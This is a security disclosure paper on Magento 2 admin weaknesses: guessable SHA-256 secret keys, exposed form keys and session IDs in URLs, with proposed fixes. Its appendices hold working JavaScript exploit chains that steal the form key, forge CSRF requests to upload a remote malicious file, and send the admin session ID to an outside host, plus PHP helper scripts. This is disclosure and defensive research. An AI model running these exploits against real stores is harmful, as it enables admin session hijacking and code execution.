Magento Security Follow-up
New Vulnerabilities, Defeating Security Mechanisms

Author/Researcher: Bosko Stankovic (bosko@defensecode.com)

DefenseCode recently discovered and reported multiple stored cross-site scripting and cross-site request forgery vulnerabilities in Magento 1 and 2 which will be addressed in one of the future patches. In light of these findings, this follow-up describes examples of several attacks used in the real world that combine common vulnerabilities with faulty security mechanisms in Magento, leading to an unfavourable outcome. Examples will be aimed at Magento 2, but most of them can be applied to Magento 1 as well.

Magento does a great job by reaching out to security community through their bug bounty program and making an effort to promptly respond to and assess the recent vulnerability reports, so the intent of this or any future papers is not to undermine their team or products, but rather to raise awareness. DefenseCode agreed to coordinated disclosure on all currently reported vulnerabilities and there will be no details available publicly until the patches are released.

Secret Key (Un)security

Magento DC-2017-04-003 advisory suggested enforcing the use of "Add Secret Key to URLs" to mitigate the CSRF attack vector. Since secret keys are enabled by default, some people used this fact to downplay the severity of the vulnerability, which shows the lack of security awareness regarding how flaws like this are exploited by experienced attackers. In most cases this involves more sofisticated attacks combined with other vulnerabilities.

Secret keys are meant to be different for each URL path and session and therefore should provide a decent cross-site request forgery protection. But what are those secret keys and how secret they really are? The first (and correct) guess, based on its fixed length of 64 characters/32 bytes, was that it is a SHA-256 hash. But what is the data that is hashed to generate the secret key? To answer this question, we need to dig a bit into code. Let's have a look at the following code snippet:

\vendor\magento\module-backend\Model\Url.php

```
public function getSecretKey($routeName = null, $controller = null, $action = null)
    {
        $salt = $this->formKey->getFormKey();
...
        $secret = $routeName . $controller . $action . $salt;
        return $this->_encryptor->getHash($secret);
    }
```

We can see that the hashed data or "secret" as the variable suggests is a concatenated string of what are just URL path fragments with an appended salt value. In case of DC-2017-04-003 arbitrary file upload vulnerability, based on the path used in the exploit (product_video/product_gallery/retrieveImage), the secret data would look like the following:

```
product_videoproduct_galleryretrieveImageXXXXXXXXXXXXXXXX
```

Where 'X' represents a salt. Now this is where things get interesting. The salt is a randomly generated 16-character alphanumeric string. That exact same value is used as a form_key parameter, which serves as an (additional) CSRF token across all forms in the administrative panel. In Magento 2.x this key is found in **every dynamically generated page in the administrative panel**. What does this mean?

When the Same Origin Policy constraints are not an obstacle, such as in cross-site scripting vulnerabilities (XSS), **all it takes is one HTTP request (XHR) to /admin/ and the attacker owns your form key**. XHR will follow a redirect to admin/dashboard/index/key/<secret_key> and read the server response. Once the attacker has your form key he can construct a CSRF attack on any form that does not require password confirmation. That includes a CSRF attack described in the DC-2017-04-003 advisory. Proof of concept exploit that chains all of this together is presented in the **Appendix A**.

Another method to obtain a secret key for just about any URL/path is parsing the administrative dashboard page for secret keys to other pages and repeating the process until the targeted URL is found.

Simpler way to exploit the DC-2017-04-003 arbitrary file upload vulnerability uses */admin/catalog/product/edit/id/1/* as it is both a page that can be accessed without a secret key and a page that contains the secret key for *product_video/product_gallery/retrieveImage.* Proof of concept exploit is presented in the **Appendix B**.

Therefore, it takes one XSS vulnerability on the same domain (more common than you think) to escalate to an arbitrary file upload and possibly remote code execution.

Unsecure Admin Session IDs

The previously described method can also be used to hijack an admin session. Although the admin session ID (SID) is usually cookie-contained and protected by the HttpOnly flag (meaning it cannot be accessed through a client side script), there are cases when Magento passes the session ID via URL, notably in functionality related to downloadable products and samples as well as editing content pages. The first method involves retrieving the SID URL by issuing a request to */admin/catalog/product/edit/id/1/* and parsing the response. The only catch is that when the secure keys are enabled, Magento will use them instead of SID. To circumvent this the attack chain should be the following: retrieve the form key **->** use it to disable secret keys **->** retrieve the session ID from a product page. Proof of concept exploit that retrieves admin session ID using this method is presented in the **Appendix C**.

The second method retrieves the SID from */admin/cms/page/* by first obtaining the full secret key URL for that page from the dashboard page and then parsing the response for SID. Proof of concept exploit is presented in the **Appendix D**.

Proposed Solutions

Direct requests to all URL paths without a secret key inside the Magento administrative panel should result in an error or logout the user instead of redirecting to administrative dashboard. There should be no paths that can be requested without a secret key.

Instead of *H(message || key)* method, the secret key should be derived using an HMAC construction, i.e. *H(key1 || H(key2 || message))* where key1 should be a unique value set during Magento instance setup. That way, even if the attacker obtains a form key value (key2), he will not be able to construct a CSRF attack without knowing the main key (key1).

Session IDs should not be used outside of HttpOnly cookies.

Final Word

I'm sure that a number of people will try to reassure themselves and others by pointing out that the described attacks require knowledge of admin URLs and an XSS vulnerability as a starting point. We leave you with two thoughts on that matter. Custom URLs are security through obscurity, which will not help much against dedicated attackers. As far as cross-site scripting vulnerabilities go and how common they are, as already mentioned before DefenseCode reported multiple medium risk stored cross site scripting vulnerabilities in Magento 1 and 2 that will be addressed in one of the future patches. Vulnerable third-party extensions and storefront themes are common. Do you still feel safe about your store security?

Appendix A

External JS Proof of Concept for a *<script src=…* payload:

magentoexploit.js

```
/* Magento CE 2.1.6 PoC - DC-2017-04-003 */

function exploit() {
    var req = new XMLHttpRequest();
    req.onload = function() {
        var key = req.responseText.match("FORM_KEY = \'(.*?)\'")[1];
        send_csrf(key);
    }
    req.open("GET", "/admin/", true);
    req.send();
}

function send_csrf(key) {
    var payload = "http://www.defensecode.com/maliciousfile.php";
    var req = new XMLHttpRequest();
    var reqCsrf = new XMLHttpRequest();
    req.onload = function() {
        var secret_key = req.responseText;
        reqCsrf.open("GET", "/admin/product_video/product_gallery/retrieveImage/key/" + secret_key
+ "/?remote_image=" + payload);
        reqCsrf.send();
    }
    req.open("GET", "http://www.defensecode.com/magentosecret.php?key=" + key);
    req.send();
}
```

Secret key hashing PHP script:

magentosecret.php

```
<?php
  header('Access-Control-Allow-Origin: *');

  echo(hash("sha256", "product_videoproduct_galleryretrieveImage" . $_GET["key"]));
?>
```

Appendix B

External JS Proof of Concept for a *<script src=…* payload:

magentoexploit2.js

```
/* Magento CE 2.1.6 PoC - DC-2017-04-003 */

function exploit() {
    var payload = "http://www.defensecode.com/maliciousfile.php";
    var req = new XMLHttpRequest();
        var reqCsrf = new XMLHttpRequest();
    req.onload = function() {
        var secret_key =
req.responseText.match("Image\\\\\\\\\\\\\/key\\\\\\\\\\\\\/(.*?)\\\\")[1];
        reqCsrf.open("GET", "/admin/product_video/product_gallery/retrieveImage/key/" + secret_key
+ "/?remote_image=" + payload);
        reqCsrf.send();
    }
    req.open("GET", "/admin/catalog/product/edit/id/1/ ", true);
    req.send();
}
```

Appendix C

External JS Proof of Concept for a *<script src=…* payload:

magentosidstealer.js

```
/* Magento CE 2.1.6 PoC – Stealing Administrator Session ID */

function exploit() {

    var req = new XMLHttpRequest();
    var reqSecret = new XMLHttpRequest();
    var form_key = "";
    req.onload = function() {
        form_key = req.responseText.match("FORM_KEY = \'(.*?)\'")[1];
        reqSecret.open("GET", "http://www.defensecode.com/magentosecret.php?key=" + form_key);
        reqSecret.send();
    }
    reqSecret.onload = function() {
        var secret_key = req.responseText;
        pwn(form_key, secret_key);
    }
    req.open("GET", "/admin/", true);
    req.send();
}

function pwn(form_key, secret_key) {
    var req = new XMLHttpRequest();
    var retrieveReq = new XMLHttpRequest;
    var stealReq = new XMLHttpRequest;

    retrieveReq.onload = function() {
        var session_id = retrieveReq.responseText.match("SID=(.*?)\"")[1];
        stealReq.open("GET", "http://www.defensecode.com/stealer.php?sid=" + session_id);
        stealReq.send();
    }
    req.onload = function() {
        retrieveReq.open("GET", "/admin/catalog/product/edit/id/1/", true);
        retrieveReq.send();
    }
    req.open("POST", "/admin/admin/system_config/save/section/admin/key/" + secret_key, true);
    req.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------
17111598128679");
    req.withCredentials = true;
    var body = "-----------------------------17111598128679\r\n" +
        "Content-Disposition: form-data; name=\"form_key\"\r\n" +
        "\r\n" +
        form_key + "\r\n" +
        "-----------------------------17111598128679\r\n" +
        "Content-Disposition: form-data;
name=\"groups[security][fields][use_form_key][value]\"\r\n" +
        "\r\n" +
        "0\r\n" +
        "-----------------------------17111598128679--\r\n";
    var aBody = new Uint8Array(body.length);
    for(var i = 0; i < aBody.length; i++)
        aBody[i] = body.charCodeAt(i);
    req.send(new Blob([aBody]));
}
```

Secret key hashing PHP script:

magentosecret.php

```
<?php
  header('Access-Control-Allow-Origin: *');

  echo(hash("sha256", " adminhtmlsystem_configsave" . $_GET["key"]));
?>
```

Appendix D

External JS Proof of Concept for a *<script src=…* payload:

magentosidstealer2.js

```
/* Magento CE 2.1.6 PoC – Stealing Administrator Session ID */

function exploit() {
    var req = new XMLHttpRequest();
    req.onload = function() {
        var secret_key = req.responseText.match("\/cms\/page\/index\/key\/(.*?)\/")[1];
        pwn(secret_key);
    }
    req.open("GET", "/admin/", true);
    req.send();
}

function pwn(secret_key) {
    var req = new XMLHttpRequest;
    var stealReq = new XMLHttpRequest;

    req.onload = function() {
        var session_id = req.responseText.match("SID=(.*?)\&")[1];
        stealReq.open("GET", "http://www.defensecode.com/stealer.php?sid=" + session_id);
        stealReq.send();
    }
    req.open("GET", "/admin/cms/page/index/key/" + secret_key, true);
    req.send();
}
```